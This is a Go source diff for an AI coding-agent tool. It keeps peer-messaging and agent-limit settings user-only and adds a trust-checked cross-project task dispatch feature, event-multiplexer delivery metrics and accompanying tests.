c.ignoreProject("peers.release_projects", fmt.Sprint(c.Peers.ReleaseProjects), ProjectUserOnly)
|
||||
}
|
||||
c.Peers = clonePeers(h.peers)
|
||||
}
|
||||
@@ -25,6 +25,7 @@ type heldScope struct {
|
||||
autoSubmit bool
|
||||
writeLease string
|
||||
planApproval string
|
||||
limits agentLimits
|
||||
maxSideSession int
|
||||
goalAutoRetry int
|
||||
subagentClaims string
|
||||
@@ -44,7 +45,7 @@ type heldScope struct {
|
||||
// turnNarration is the user's [agent] turn_narration. It adds output tokens
|
||||
// to every turn, so a cloned repo must not turn it on.
|
||||
turnNarration string
|
||||
peers bool
|
||||
peers PeersConfig
|
||||
// mcpResources decides whether a server's resources are readable by the model.
|
||||
mcpResources bool
|
||||
// webSearchBackends and searxngURL decide where the user's queries go, so
|
||||
@@ -75,6 +76,7 @@ func holdUserScope(c *Config) heldScope {
|
||||
autoSubmit: c.AutoSubmit,
|
||||
writeLease: c.Agent.WriteLease,
|
||||
planApproval: c.Agent.PlanApproval,
|
||||
limits: holdAgentLimits(c),
|
||||
maxSideSession: c.Agent.MaxSideSessions,
|
||||
goalAutoRetry: c.Agent.GoalAutoRetry,
|
||||
subagentClaims: c.Agent.SubagentClaims,
|
||||
@@ -89,7 +91,7 @@ func holdUserScope(c *Config) heldScope {
|
||||
layaLocal: c.Tools.SystemOne.Laya.Local,
|
||||
rememberDevices: c.Serve.RememberPairedDevices,
|
||||
turnNarration: c.TurnNarration(),
|
||||
peers: c.Peers.Enabled,
|
||||
peers: clonePeers(c.Peers),
|
||||
mcpResources: c.Tools.MCPResources,
|
||||
|
||||
webSearchBackends: slices.Clone(c.Tools.WebSearchBackends),
|
||||
@@ -184,10 +186,7 @@ func (h heldScope) narrow(c *Config, r Roots, root string, projectMeta toml.Meta
|
||||
}
|
||||
// Messages between sessions put other sessions' text in front of this one's
|
||||
// model, so enabling them is the user's alone.
|
||||
if c.Peers.Enabled != h.peers {
|
||||
c.ignoreProject("peers.enabled", fmt.Sprintf("%t", c.Peers.Enabled), ProjectUserOnly)
|
||||
c.Peers.Enabled = h.peers
|
||||
}
|
||||
h.narrowPeers(c)
|
||||
// Letting the model read what a server publishes widens what a third party
|
||||
// can put in front of it, so a cloned repo must not turn it on.
|
||||
if c.Tools.MCPResources != h.mcpResources {
|
||||
@@ -205,6 +204,7 @@ func (h heldScope) narrow(c *Config, r Roots, root string, projectMeta toml.Meta
|
||||
c.ignoreProject("agent.max_side_sessions", fmt.Sprint(c.Agent.MaxSideSessions), ProjectUserOnly)
|
||||
c.Agent.MaxSideSessions = h.maxSideSession
|
||||
}
|
||||
h.narrowAgentLimits(c)
|
||||
if c.Agent.PlanApproval != h.planApproval {
|
||||
c.ignoreProject("agent.plan_approval", c.Agent.PlanApproval, ProjectUserOnly)
|
||||
c.Agent.PlanApproval = h.planApproval
|
||||
|
||||
@@ -82,7 +82,7 @@ func RenderTOMLForScope(c *Config, scope RenderScope) string {
|
||||
|
||||
renderProgressWatchSection(&b, c)
|
||||
renderAutoArchiveSection(&b, c)
|
||||
renderServeSection(&b, c)
|
||||
renderServeAndPeers(&b, c)
|
||||
b.WriteString("[notifications]\n")
|
||||
fmt.Fprintf(&b, "enabled = %v # system notifications for CLI and desktop turns; default off\n", c.Notifications.Enabled)
|
||||
fmt.Fprintf(&b, "turn_done = %v # notify when a turn finishes\n", c.Notifications.TurnDone)
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package tool
|
||||
|
||||
import "sync"
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// PeerView is another session on this machine that can be written to.
|
||||
type PeerView struct {
|
||||
@@ -21,6 +24,19 @@ type PeerDirectory interface {
|
||||
SendPeerMessage(to, text string) (PeerReceipt, error)
|
||||
}
|
||||
|
||||
// DispatchReceipt says a task was written into a session of another project.
|
||||
type DispatchReceipt struct {
|
||||
Project string
|
||||
Key string
|
||||
ID string
|
||||
}
|
||||
|
||||
// ProjectDispatcher is what the dispatch tool asks of the session that owns it:
|
||||
// hand a task to a session in another of the user's projects.
|
||||
type ProjectDispatcher interface {
|
||||
DispatchToProject(ctx context.Context, project, text string) (DispatchReceipt, error)
|
||||
}
|
||||
|
||||
// PeerLink joins the peer tools, built with the registry, to the controller
|
||||
// that exists only afterwards. Until the controller binds it the tools answer
|
||||
// that no session is listening.
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"reasonix/internal/contract/config"
|
||||
"reasonix/internal/session/control"
|
||||
"reasonix/internal/state/sessionstore"
|
||||
)
|
||||
|
||||
// dispatchBook remembers which pane a sender opened in which project, so a
|
||||
// second task to the same project goes to the session already waiting instead
|
||||
// of opening another.
|
||||
type dispatchBook struct {
|
||||
mu sync.Mutex
|
||||
sessions map[dispatchKey]string
|
||||
open func(context.Context, OpenRequest) (*Runtime, error) // nil: Hub.Open
|
||||
}
|
||||
|
||||
type dispatchKey struct{ from, root string }
|
||||
|
||||
func (b *dispatchBook) get(from, root string) string {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
return b.sessions[dispatchKey{from, root}]
|
||||
}
|
||||
|
||||
func (b *dispatchBook) set(from, root, id string) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if b.sessions == nil {
|
||||
b.sessions = map[dispatchKey]string{}
|
||||
}
|
||||
b.sessions[dispatchKey{from, root}] = id
|
||||
}
|
||||
|
||||
// dispatcherFor is what a pane's controller calls to hand a task to another of
|
||||
// the user's projects. The controller has already checked the user's switch.
|
||||
func (h *Hub) dispatcherFor(from *Runtime) control.ProjectDispatcher {
|
||||
return func(ctx context.Context, project, text string) (control.DispatchResult, error) {
|
||||
return h.dispatchTo(ctx, from, project, text)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Hub) dispatchTo(ctx context.Context, from *Runtime, project, text string) (control.DispatchResult, error) {
|
||||
root, err := resolveDispatchProject(project, Workspaces())
|
||||
if err != nil {
|
||||
return control.DispatchResult{}, err
|
||||
}
|
||||
target := h.runtimeByID(h.dispatch.get(from.ID, root))
|
||||
if target == nil {
|
||||
if target, err = h.openDispatchSession(ctx, from, root); err != nil {
|
||||
return control.DispatchResult{}, err
|
||||
}
|
||||
}
|
||||
targetCtrl, ok := target.Server.Controller().(*control.Controller)
|
||||
sender, senderOK := from.Server.Controller().(*control.Controller)
|
||||
if !ok || !senderOK {
|
||||
return control.DispatchResult{}, control.ErrDispatchUnavailable
|
||||
}
|
||||
key := targetCtrl.PeerKey()
|
||||
if key == "" {
|
||||
return control.DispatchResult{}, fmt.Errorf("%w: the new session did not publish itself", control.ErrDispatchFailed)
|
||||
}
|
||||
receipt, err := sender.SendPeerMessage(key, text)
|
||||
if err != nil {
|
||||
return control.DispatchResult{}, err
|
||||
}
|
||||
return control.DispatchResult{Project: root, Key: key, ID: receipt.ID}, nil
|
||||
}
|
||||
|
||||
// openDispatchSession opens a fresh pane in root and gives it the file the
|
||||
// sender will write to. A folder the user has not trusted is not opened for
|
||||
// someone else's task: the pane is closed again and the dispatch refused.
|
||||
func (h *Hub) openDispatchSession(ctx context.Context, from *Runtime, root string) (*Runtime, error) {
|
||||
open := h.dispatch.open
|
||||
if open == nil {
|
||||
open = h.Open
|
||||
}
|
||||
target, err := open(ctx, OpenRequest{Root: root})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%w: %w", control.ErrDispatchFailed, err)
|
||||
}
|
||||
ctrl, ok := target.Server.Controller().(*control.Controller)
|
||||
if !ok {
|
||||
_ = h.Close(target.ID)
|
||||
return nil, control.ErrDispatchUnavailable
|
||||
}
|
||||
if ctrl.WorkspaceTrust() != config.WorkspaceTrusted {
|
||||
_ = h.Close(target.ID)
|
||||
return nil, control.ErrDispatchUntrusted
|
||||
}
|
||||
ctrl.MarkOpenedByDispatch()
|
||||
ctrl.SetFreshSessionPath(sessionstore.NewSessionPath(SessionDirFor(root), "dispatch"))
|
||||
h.dispatch.set(from.ID, root, target.ID)
|
||||
return target, nil
|
||||
}
|
||||
|
||||
func (h *Hub) runtimeByID(id string) *Runtime {
|
||||
if id == "" {
|
||||
return nil
|
||||
}
|
||||
for _, rt := range h.localRuntimes() {
|
||||
if rt.ID == id {
|
||||
return rt
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// resolveDispatchProject maps what the model wrote onto one of the user's own
|
||||
// projects: an exact path, else a folder name. Two projects with one name, or
|
||||
// none, is refused; a folder outside the list never resolves.
|
||||
func resolveDispatchProject(name string, projects []string) (string, error) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "", control.ErrDispatchUnknownProject
|
||||
}
|
||||
if filepath.IsAbs(name) {
|
||||
want := filepath.Clean(name)
|
||||
for _, p := range projects {
|
||||
if filepath.Clean(p) == want && dirExists(p) {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return "", control.ErrDispatchUnknownProject
|
||||
}
|
||||
var found []string
|
||||
for _, p := range projects {
|
||||
if strings.EqualFold(filepath.Base(p), name) && dirExists(p) {
|
||||
found = append(found, p)
|
||||
}
|
||||
}
|
||||
switch len(found) {
|
||||
case 0:
|
||||
return "", control.ErrDispatchUnknownProject
|
||||
case 1:
|
||||
return found[0], nil
|
||||
}
|
||||
return "", control.ErrDispatchAmbiguous
|
||||
}
|
||||
|
||||
func dirExists(p string) bool {
|
||||
st, err := os.Stat(p)
|
||||
return err == nil && st.IsDir()
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"reasonix/internal/base/testenv"
|
||||
"reasonix/internal/contract/config"
|
||||
"reasonix/internal/session/control"
|
||||
"reasonix/internal/state/sessionstore"
|
||||
)
|
||||
|
||||
type dispatchFixture struct {
|
||||
t *testing.T
|
||||
hub *Hub
|
||||
peersDir string
|
||||
home string
|
||||
opened int
|
||||
}
|
||||
|
||||
func newDispatchFixture(t *testing.T, userFile string) *dispatchFixture {
|
||||
t.Helper()
|
||||
home := testenv.TempDir(t)
|
||||
t.Setenv("REASONIX_HOME", home)
|
||||
if userFile != "" {
|
||||
if err := os.WriteFile(config.UserConfigPath(), []byte(userFile), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
f := &dispatchFixture{t: t, hub: NewHub(HubOptions{}), peersDir: filepath.Join(home, "peers"), home: home}
|
||||
f.hub.dispatch.open = func(_ context.Context, req OpenRequest) (*Runtime, error) {
|
||||
f.opened++
|
||||
return f.adopt(req.Root, ""), nil
|
||||
}
|
||||
return f
|
||||
}
|
||||
|
||||
// adopt puts a peers-enabled session of root into the hub; path "" leaves it
|
||||
// without a file yet, as a pane the hub just opened is.
|
||||
func (f *dispatchFixture) adopt(root, path string) *Runtime {
|
||||
f.t.Helper()
|
||||
ctrl := control.New(control.Options{
|
||||
WorkspaceRoot: root, SessionDir: SessionDirFor(root), SessionPath: path,
|
||||
Peers: control.PeersOptions{Dir: f.peersDir},
|
||||
Posture: control.PostureEvidence{Home: f.home},
|
||||
})
|
||||
f.t.Cleanup(ctrl.Close)
|
||||
bc := NewBroadcaster()
|
||||
rt, err := f.hub.Adopt(New(ctrl, bc, config.ServeConfig{}), bc)
|
||||
if err != nil {
|
||||
f.t.Fatal(err)
|
||||
}
|
||||
return rt
|
||||
}
|
||||
|
||||
func (f *dispatchFixture) project(name string, trusted bool) string {
|
||||
f.t.Helper()
|
||||
dir := filepath.Join(testenv.TempDir(f.t), name)
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
f.t.Fatal(err)
|
||||
}
|
||||
rememberWorkspace(dir)
|
||||
if trusted {
|
||||
if err := config.NewProjectGrantStore(f.home).SetTrust(dir, config.WorkspaceTrusted); err != nil {
|
||||
f.t.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func (f *dispatchFixture) sender(root string) *control.Controller {
|
||||
f.t.Helper()
|
||||
path := sessionstore.NewSessionPath(SessionDirFor(root), "sender")
|
||||
rt := f.adopt(root, path)
|
||||
return rt.Server.Controller().(*control.Controller)
|
||||
}
|
||||
|
||||
const dispatchOn = "[peers]\nenabled = true\ndispatch = true\n"
|
||||
|
||||
func TestDispatchOpensASessionInTheOtherProjectAndHoldsTheTaskThere(t *testing.T) {
|
||||
f := newDispatchFixture(t, dispatchOn)
|
||||
a, b := f.project("alpha", true), f.project("billing", true)
|
||||
sender := f.sender(a)
|
||||
|
||||
got, err := sender.DispatchToProject(context.Background(), "billing", "rotate the key")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.Project != b || got.Key == "" || got.ID == "" || f.opened != 1 {
|
||||
t.Fatalf("result = %+v, opened %d; want the billing project, a key, an id and one pane", got, f.opened)
|
||||
}
|
||||
var receiver *control.Controller
|
||||
for _, rt := range f.hub.localRuntimes() {
|
||||
if c, ok := rt.Server.Controller().(*control.Controller); ok && c.PeerKey() == got.Key {
|
||||
receiver = c
|
||||
}
|
||||
}
|
||||
if receiver == nil {
|
||||
t.Fatal("no pane answers to the returned key")
|
||||
}
|
||||
receiver.RefreshPeers()
|
||||
held := receiver.HeldPeerMessages()
|
||||
if len(held) != 1 || held[0].Body != "rotate the key" {
|
||||
t.Fatalf("held = %+v, want the task waiting for the receiver's user", held)
|
||||
}
|
||||
if !receiver.OpenedByDispatch() {
|
||||
t.Fatal("the opened session is not marked as opened by a dispatch")
|
||||
}
|
||||
|
||||
again, err := sender.DispatchToProject(context.Background(), "billing", "and one more thing")
|
||||
if err != nil || again.Key != got.Key || f.opened != 1 {
|
||||
t.Fatalf("second dispatch = %+v, %v with %d panes opened; want the same session reused", again, err, f.opened)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDispatchRefusesWithTypedIdentities(t *testing.T) {
|
||||
f := newDispatchFixture(t, dispatchOn)
|
||||
a := f.project("alpha", true)
|
||||
f.project("same", true)
|
||||
f.project("same", true)
|
||||
f.project("stranger", false)
|
||||
sender := f.sender(a)
|
||||
ctx := context.Background()
|
||||
|
||||
for name, tc := range map[string]struct {
|
||||
project string
|
||||
want error
|
||||
}{
|
||||
"unknown": {"nowhere", control.ErrDispatchUnknownProject},
|
||||
"ambiguous": {"same", control.ErrDispatchAmbiguous},
|
||||
"untrusted": {"stranger", control.ErrDispatchUntrusted},
|
||||
"outside": {"/tmp", control.ErrDispatchUnknownProject},
|
||||
} {
|
||||
if _, err := sender.DispatchToProject(ctx, tc.project, "x"); !errors.Is(err, tc.want) {
|
||||
t.Errorf("%s: err = %v, want %v", name, err, tc.want)
|
||||
}
|
||||
}
|
||||
if got := len(f.hub.localRuntimes()); got != 1 {
|
||||
t.Fatalf("%d panes left open, want only the sender's (the untrusted one closed again)", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestADispatchedSessionCannotDispatchFurther(t *testing.T) {
|
||||
f := newDispatchFixture(t, dispatchOn)
|
||||
a, _ := f.project("alpha", true), f.project("billing", true)
|
||||
sender := f.sender(a)
|
||||
if _, err := sender.DispatchToProject(context.Background(), "billing", "x"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, rt := range f.hub.localRuntimes() {
|
||||
c := rt.Server.Controller().(*control.Controller)
|
||||
if c.OpenedByDispatch() {
|
||||
if _, err := c.DispatchToProject(context.Background(), "alpha", "back again"); !errors.Is(err, control.ErrDispatchNested) {
|
||||
t.Fatalf("nested dispatch = %v, want ErrDispatchNested", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("no dispatched session found")
|
||||
}
|
||||
|
||||
func TestDispatchIsOffUnlessTheUserFileSaysSo(t *testing.T) {
|
||||
f := newDispatchFixture(t, "[peers]\nenabled = true\n")
|
||||
f.project("billing", true)
|
||||
sender := f.sender(f.project("alpha", true))
|
||||
if _, err := sender.DispatchToProject(context.Background(), "billing", "x"); !errors.Is(err, control.ErrDispatchUnavailable) {
|
||||
t.Fatalf("dispatch with the switch off = %v, want ErrDispatchUnavailable", err)
|
||||
}
|
||||
if f.opened != 0 {
|
||||
t.Fatal("a pane was opened with dispatch off")
|
||||
}
|
||||
}
|
||||
@@ -75,6 +75,8 @@ type Hub struct {
|
||||
stance *approvalStance
|
||||
changes *Broadcaster
|
||||
muxes *eventMuxes
|
||||
// dispatch remembers the panes a task was handed to; see dispatch.go.
|
||||
dispatch dispatchBook
|
||||
}
|
||||
|
||||
// approvalStance is the Ask/Auto/YOLO posture the frontend is in, held by the
|
||||
@@ -704,6 +706,9 @@ func (h *Hub) publish(rt *Runtime) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if concrete {
|
||||
ctrl.SetProjectDispatcher(h.dispatcherFor(rt))
|
||||
}
|
||||
rt.Server.bindMu.Unlock()
|
||||
rt.Server.bc.observeTree(h.treeChanged)
|
||||
// A local runtime a Hub publishes is driven by an interactive frontend,
|
||||
@@ -744,42 +749,6 @@ func (h *Hub) findSession(path string) *Runtime {
|
||||
return nil
|
||||
}
|
||||
|
||||
// resolveRoot decides which folder a new runtime opens against: the one asked
|
||||
// for, the one that owns the session being opened, or the first runtime's.
|
||||
func (h *Hub) resolveRoot(req OpenRequest) (string, error) {
|
||||
if root := h.listedSessionRoot(req.SessionPath, req.Root); root != "" {
|
||||
return resolveWorkspaceDir(root)
|
||||
}
|
||||
if root := strings.TrimSpace(req.Root); root != "" {
|
||||
return resolveWorkspaceDir(root)
|
||||
}
|
||||
if path := strings.TrimSpace(req.SessionPath); path != "" {
|
||||
if root := workspaceRootForSession(path); root != "" {
|
||||
return root, nil
|
||||
}
|
||||
}
|
||||
h.mu.RLock()
|
||||
first := ""
|
||||
if len(h.order) > 0 {
|
||||
if rt := h.runtimes[h.order[0]]; rt != nil {
|
||||
first = rt.Server.Controller().WorkspaceRoot()
|
||||
}
|
||||
}
|
||||
h.mu.RUnlock()
|
||||
if first != "" {
|
||||
return first, nil
|
||||
}
|
||||
// Closing the last pane leaves nothing to infer from, and "open a session"
|
||||
// is exactly what someone does next. Fall back to the remembered list, the
|
||||
// same answer the window uses when it launches with no pane at all.
|
||||
for _, dir := range LaunchWorkspaces() {
|
||||
if st, err := os.Stat(dir); err == nil && st.IsDir() {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", refusal(http.StatusConflict, "workspace.none", errors.New("no workspace to open in — add a folder first"), nil)
|
||||
}
|
||||
|
||||
func (h *Hub) nextID() string {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
@@ -72,6 +73,8 @@ type muxPane struct {
|
||||
unsubscribe func()
|
||||
stop chan struct{}
|
||||
bc *Broadcaster
|
||||
sent atomic.Int64
|
||||
lastSeq atomic.Int64
|
||||
}
|
||||
|
||||
func (m *eventMuxes) open() *muxConn {
|
||||
@@ -203,6 +206,8 @@ func (c *muxConn) next(cursor *int) ([]byte, bool) {
|
||||
select {
|
||||
case f := <-p.slot:
|
||||
*cursor = idx + 1
|
||||
p.sent.Add(1)
|
||||
p.lastSeq.Store(f.Seq)
|
||||
return muxEnvelope(p.id, string(f.Data)), true
|
||||
default:
|
||||
}
|
||||
@@ -220,7 +225,46 @@ func (c *muxConn) watermarks() [][]byte {
|
||||
return out
|
||||
}
|
||||
|
||||
// muxPaneMetrics is one pane's delivery on a connection. Behind is how many
|
||||
// frames the pane has numbered that this connection has not yet written: zero
|
||||
// is a pane that is idle or caught up, and a count that does not fall is a pane
|
||||
// that has stopped being delivered.
|
||||
type muxPaneMetrics struct {
|
||||
Pane string `json:"pane"`
|
||||
Sent int64 `json:"sent"`
|
||||
LastSeq int64 `json:"last_seq"`
|
||||
Watermark int64 `json:"watermark"`
|
||||
Behind int64 `json:"behind"`
|
||||
}
|
||||
|
||||
type muxMetrics struct {
|
||||
Conn string `json:"conn"`
|
||||
Panes []muxPaneMetrics `json:"panes"`
|
||||
}
|
||||
|
||||
func (c *muxConn) metrics() muxMetrics {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
out := muxMetrics{Conn: c.id, Panes: make([]muxPaneMetrics, 0, len(c.order))}
|
||||
for _, id := range c.order {
|
||||
p := c.panes[id]
|
||||
last, mark := p.lastSeq.Load(), p.bc.Watermark()
|
||||
out.Panes = append(out.Panes, muxPaneMetrics{Pane: id, Sent: p.sent.Load(), LastSeq: last, Watermark: mark, Behind: max(mark-last, 0)})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *Hub) muxMetrics(w http.ResponseWriter, r *http.Request) {
|
||||
c := h.muxes.get(r.PathValue("conn"))
|
||||
if c == nil {
|
||||
refuse(w, http.StatusNotFound, codeMuxUnknownConn, "this stream is not open; open a new one and subscribe again", nil)
|
||||
return
|
||||
}
|
||||
writeJSON(w, c.metrics())
|
||||
}
|
||||
|
||||
func (h *Hub) registerMuxRoutes(mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /events/mux/{conn}/metrics", h.muxMetrics)
|
||||
mux.HandleFunc("GET /events/mux", h.muxStream)
|
||||
mux.HandleFunc("PUT /events/mux/{conn}/panes/{id}", h.muxAttach)
|
||||
mux.HandleFunc("DELETE /events/mux/{conn}/panes/{id}", h.muxDetach)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type muxMetricsBody struct {
|
||||
Conn string `json:"conn"`
|
||||
Panes []struct {
|
||||
Pane string `json:"pane"`
|
||||
Sent int64 `json:"sent"`
|
||||
LastSeq int64 `json:"last_seq"`
|
||||
Watermark int64 `json:"watermark"`
|
||||
Behind int64 `json:"behind"`
|
||||
} `json:"panes"`
|
||||
}
|
||||
|
||||
func readMuxMetrics(t *testing.T, base, conn string) muxMetricsBody {
|
||||
t.Helper()
|
||||
resp, err := http.Get(base + "/events/mux/" + conn + "/metrics")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("metrics = %d", resp.StatusCode)
|
||||
}
|
||||
var out muxMetricsBody
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// A pane that stopped receiving shows as behind, with the exact count of frames
|
||||
// it is owed, while a pane the client has read to the end shows zero. That is
|
||||
// the number that tells a frozen pane from an idle one.
|
||||
func TestMuxMetricsSayWhichPaneIsBehindAndByHowMany(t *testing.T) {
|
||||
h, rts, srv := muxHub(t, 2)
|
||||
idle, stalled := rts[0], rts[1]
|
||||
|
||||
reader := openMux(t, srv)
|
||||
reader.call(http.MethodPut, idle.ID, "")
|
||||
idle.Events.Emit(notice("one"))
|
||||
idle.Events.Emit(notice("two"))
|
||||
for got := 0; got < 2; {
|
||||
if f := reader.next(); f.Frame.Code != "" && f.Frame.Seq > 0 {
|
||||
got++
|
||||
}
|
||||
}
|
||||
|
||||
c := h.muxes.open()
|
||||
defer h.muxes.remove(c)
|
||||
if !c.attach(stalled.Server, stalled.ID, stalled.Events.Watermark(), false) {
|
||||
t.Fatal("attach refused")
|
||||
}
|
||||
for range 5 {
|
||||
stalled.Events.Emit(notice("owed"))
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
var m muxMetricsBody
|
||||
for time.Now().Before(deadline) {
|
||||
m = readMuxMetrics(t, srv.URL, reader.conn)
|
||||
if len(m.Panes) == 1 && m.Panes[0].Behind == 0 && m.Panes[0].Sent >= 2 {
|
||||
break
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
if m.Conn != reader.conn || len(m.Panes) != 1 || m.Panes[0].Pane != idle.ID || m.Panes[0].Behind != 0 || m.Panes[0].LastSeq != m.Panes[0].Watermark {
|
||||
t.Fatalf("a read-to-the-end pane reads %+v", m)
|
||||
}
|
||||
|
||||
owed := c.metrics()
|
||||
if len(owed.Panes) != 1 || owed.Panes[0].Behind != 5 || owed.Panes[0].Sent != 0 {
|
||||
t.Fatalf("a pane nobody reads reads %+v, want 5 behind and nothing sent", owed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMuxMetricsRefuseAnUnknownConnectionWithItsCode(t *testing.T) {
|
||||
_, _, srv := muxHub(t, 1)
|
||||
resp, err := http.Get(srv.URL + "/events/mux/" + "00000000000000000000000000000000" + "/metrics")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := muxRefusalCode(t, resp); got != codeMuxUnknownConn {
|
||||
t.Fatalf("code = %q", got)
|
||||
}
|
||||
if resp.StatusCode != http.StatusNotFound {
|
||||
t.Fatalf("status = %d, want 404", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func muxRefusalCode(t *testing.T, resp *http.Response) string {
|
||||
t.Helper()
|
||||
defer resp.Body.Close()
|
||||
var body struct {
|
||||
Code string `json:"code"`
|
||||
}
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
return body.Code
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package serve
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"runtime"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// A hundred panes share one connection, each producing frames at once: every
|
||||
// pane receives exactly its own frames, in order, none twice, and the metrics
|
||||
// end with nothing owed. The per-pane budget a browser could never offer (one
|
||||
// stream each) is the whole point of the multiplex, so the count is the test.
|
||||
func TestMuxCarriesAHundredPanesOnOneConnection(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("soak")
|
||||
}
|
||||
const panes, frames = 100, 60
|
||||
_, rts, srv := muxHub(t, panes)
|
||||
c := openMux(t, srv)
|
||||
for _, rt := range rts {
|
||||
if code, body := c.call(http.MethodPut, rt.ID, ""); code != http.StatusNoContent {
|
||||
t.Fatalf("attach %s = %d %s", rt.ID, code, body)
|
||||
}
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, rt := range rts {
|
||||
wg.Go(func() {
|
||||
for range frames {
|
||||
rt.Events.Emit(notice(rt.ID))
|
||||
}
|
||||
})
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
got := map[string][]int64{}
|
||||
owed := panes * frames
|
||||
deadline := time.After(30 * time.Second)
|
||||
for owed > 0 {
|
||||
select {
|
||||
case f := <-c.frames:
|
||||
if f.Frame.Code == "" || f.Frame.Seq == 0 {
|
||||
continue
|
||||
}
|
||||
if f.Frame.Code != f.Pane {
|
||||
t.Fatalf("pane %s received a frame produced by %s", f.Pane, f.Frame.Code)
|
||||
}
|
||||
got[f.Pane] = append(got[f.Pane], f.Frame.Seq)
|
||||
owed--
|
||||
case <-deadline:
|
||||
t.Fatalf("%d of %d frames never arrived", owed, panes*frames)
|
||||
}
|
||||
}
|
||||
for pane, seqs := range got {
|
||||
if len(seqs) != frames {
|
||||
t.Fatalf("pane %s received %d frames, want %d", pane, len(seqs), frames)
|
||||
}
|
||||
for i := 1; i < len(seqs); i++ {
|
||||
if seqs[i] != seqs[i-1]+1 {
|
||||
t.Fatalf("pane %s frames out of order or repeated: %d then %d", pane, seqs[i-1], seqs[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m := readMuxMetrics(t, srv.URL, c.conn)
|
||||
if len(m.Panes) != panes {
|
||||
t.Fatalf("metrics list %d panes, want %d", len(m.Panes), panes)
|
||||
}
|
||||
for _, p := range m.Panes {
|
||||
if p.Behind != 0 || p.Sent < frames {
|
||||
t.Fatalf("pane %s ends behind: %+v", p.Pane, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Tearing the connection down after a hundred panes leaves no goroutine and no
|
||||
// subscriber behind.
|
||||
func TestMuxHundredPaneTeardownLeavesNothingRunning(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("soak")
|
||||
}
|
||||
_, rts, srv := muxHub(t, 100)
|
||||
before, base := runtime.NumGoroutine(), 0
|
||||
for _, rt := range rts {
|
||||
base += rt.Events.Subscribers()
|
||||
}
|
||||
c := openMux(t, srv)
|
||||
for _, rt := range rts {
|
||||
c.call(http.MethodPut, rt.ID, "")
|
||||
}
|
||||
c.cancel()
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
subscribed := 0
|
||||
for _, rt := range rts {
|
||||
subscribed += rt.Events.Subscribers()
|
||||
}
|
||||
if subscribed == base && runtime.NumGoroutine() <= before+4 {
|
||||
return
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("after teardown: goroutines %d (before %d)", runtime.NumGoroutine(), before)
|
||||
}
|
||||
@@ -33,7 +33,16 @@ func (h *Hub) registerOpenWithRoutes(mux *http.ServeMux) {
|
||||
// openWithTargets lists the programs this machine can open a project in. Which
|
||||
// programs exist is the kernel's table; the page only draws what it is told.
|
||||
func (h *Hub) openWithTargets(w http.ResponseWriter, _ *http.Request) {
|
||||
writeJSON(w, map[string]any{"targets": openWithList(LaunchWorkspaces())})
|
||||
writeJSON(w, map[string]any{"targets": openWithList(h.openWithRoots())})
|
